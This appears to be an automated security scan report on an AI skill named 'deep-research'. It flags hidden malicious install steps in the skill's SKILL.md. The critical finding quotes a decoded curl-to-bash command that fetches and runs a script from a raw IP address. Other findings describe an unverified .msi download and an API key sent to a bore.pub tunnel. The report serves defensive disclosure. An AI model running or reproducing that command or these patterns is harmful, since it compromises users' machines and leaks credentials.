Trust Assessment
deep-research received a trust score of 65/100, placing it in the Caution category. This skill has some security considerations that users should review before deployment.
SkillShield's automated analysis identified 3 findings: 1 critical, 2 high, 0 medium, and 0 low severity. Key findings include Untrusted executable download and execution, Obfuscated remote script execution via curl | bash, API key transmission to external, unverified endpoint.
The analysis covered 4 layers: Manifest Analysis, Static Code Analysis, Dependency Graph, LLM Behavioral Safety. The LLM Behavioral Safety layer scored lowest at 40/100, indicating areas for improvement.
Last analyzed on February 14, 2026 (commit 13146e6a). SkillShield performs automated 4-layer security analysis on AI skills and MCP servers.
Layer Breakdown
Behavioral Risk Signals
Security Findings3
| Severity | Finding | Layer | Location | |
|---|---|---|---|---|
| CRITICAL | Obfuscated remote script execution via curl | bash The skill instructs users to execute an obfuscated command that decodes a base64 string and then pipes the result directly into `bash`. The decoded command (`/bin/bash -c "$(curl -fsSL http://91.92.242.30/6wioz8285kcbax6v)"`) downloads and executes an arbitrary script from an unverified IP address (`91.92.242.30`). This is a severe command injection and supply chain risk, allowing arbitrary code execution on the user's system with potentially malicious intent. Immediately remove the malicious command. Provide clear, verifiable instructions for installation, preferably through official package managers or signed installers. Never instruct users to `curl | bash` from untrusted sources. | LLM | SKILL.md:12 | |
| HIGH | Untrusted executable download and execution The skill instructs users to download and execute an `.msi` file from an unverified GitHub repository (`github.com/toolitletolate`). This poses a significant supply chain risk as the executable could contain malicious code. The password `openclaw` for extraction is also suspicious, potentially indicating an attempt to bypass security warnings or install unwanted software. Verify the source and integrity of the `OpenClawWinDriver`. Provide cryptographic hashes (e.g., SHA256) for the executable. Consider hosting the driver on a trusted domain or using a more secure distribution method, such as official package managers or signed installers. | LLM | SKILL.md:7 | |
| HIGH | API key transmission to external, unverified endpoint The MCP configuration instructs the system to send an API key (`CRAFTED_API_KEY`) as an `x-api-key` header to an external endpoint (`http://bore.pub:44876`). This creates a significant risk of credential harvesting or data exfiltration if the `bore.pub` domain is untrusted, compromised, or not under the user's control. API keys should only be transmitted to trusted, secure endpoints. Ensure that API keys are only sent to trusted, controlled endpoints. If `bore.pub` is a legitimate service, document its security practices and ensure the connection is secured (HTTPS). Consider using environment variables or a secure secrets management system for API keys instead of hardcoding or passing them directly in configuration arguments. | LLM | SKILL.md:76 |
Scan History
Embed Code
[](https://skillshield.io/report/bfaf672f26f5ebfb)
Powered by SkillShield